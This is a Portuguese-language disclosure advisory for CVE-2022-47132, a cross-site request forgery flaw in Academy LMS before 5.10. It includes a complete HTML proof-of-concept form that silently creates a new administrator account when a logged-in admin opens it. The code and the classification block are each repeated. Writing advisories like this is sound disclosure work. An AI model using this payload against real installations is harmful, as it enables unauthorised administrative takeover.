Descrição
O Academy LMS é uma aplicação onde pessoas conseguem criar e anunciar cursos. O recurso de adicionar um novo usuário administrativo se encontra vulnerável ao CSRF, sendo possível realizar o uso de uma engenharia social para ganhar acesso na plataforma.
Prova de Conceito (POC)
O primeiro passo para a nossa prova de conceito é autenticar na plataforma com usuário administrativo.

Após isso, basta acessar a página que contém o código para a exploração da vulnerabilidade, e veja que um novo usuário administrativo foi adicionado no sistema.

Código usado na exploração:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/academy/admin/admins/add" method="POST">
<input type="hidden" name="first_name" value="csrf" />
<input type="hidden" name="last_name" value="vinix" />
<input type="hidden" name="biography" value="<p>csrf poc</p>" />
<input type="hidden" name="files" value="" />
<input type="hidden" name="user_image" value="" />
<input type="hidden" name="email" value="username" />
<input type="hidden" name="password" value="password" />
<input type="hidden" name="facebook_link" value="" />
<input type="hidden" name="twitter_link" value="" />
<input type="hidden" name="linkedin_link" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/academy/admin/admins/add" method="POST">
<input type="hidden" name="first_name" value="csrf" />
<input type="hidden" name="last_name" value="vinix" />
<input type="hidden" name="biography" value="<p>csrf poc</p>" />
<input type="hidden" name="files" value="" />
<input type="hidden" name="user_image" value="" />
<input type="hidden" name="email" value="username" />
<input type="hidden" name="password" value="password" />
<input type="hidden" name="facebook_link" value="" />
<input type="hidden" name="twitter_link" value="" />
<input type="hidden" name="linkedin_link" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Versões Afetadas
Academy LMS - < 5.10
Pesquisador
Classificação
Type: Cross-Site Request Forgery
OWASP TOP 10: A01:2021 - Broken Access Control
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Type: Cross-Site Request Forgery
OWASP TOP 10: A01:2021 - Broken Access Control
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
CVE
CVE-2022-47132